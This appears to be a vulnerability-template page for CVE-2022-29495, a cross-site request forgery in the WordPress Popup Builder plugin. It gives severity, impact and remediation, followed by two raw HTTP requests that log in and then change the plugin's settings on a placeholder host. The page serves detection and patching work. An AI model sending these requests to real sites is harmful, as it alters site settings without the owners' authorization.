| Title | WordPress Popup Builder <= 4.1.11 - Cross-Site Request Forgery |
|---|---|
| Author | Shivam Kamboj |
| Severity | Medium |
| Impact | Attackers can modify plugin settings without authorization, potentially leading to site defacement or malicious content injection. |
| Remediation | Implement CSRF tokens and verify requests properly, update to the latest plugin version. |
| Tags | cve cve2022 wordpress wp-plugin popup-builder csrf authenticated wp |
Sygnoos Popup Builder plugin <= 4.1.11 for WordPress contains a cross-site request forgery caused by lack of CSRF protection in plugin settings update, letting attackers change settings without authorization, exploit requires victim to visit malicious site or click malicious link.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=cfEt6K&pwd=WYgDiy&wp-submit=Log+In&testcookie=1
POST /wp-admin/admin-post.php?action=sgpbSaveSettings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15
Connection: close
Content-Length: 84
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
sgpb-enable-debug-mode=on&sgpb-dont-delete-data=on&sgpb-disable-analytics-general=on
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29495.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-29495.pcap
N/AN/A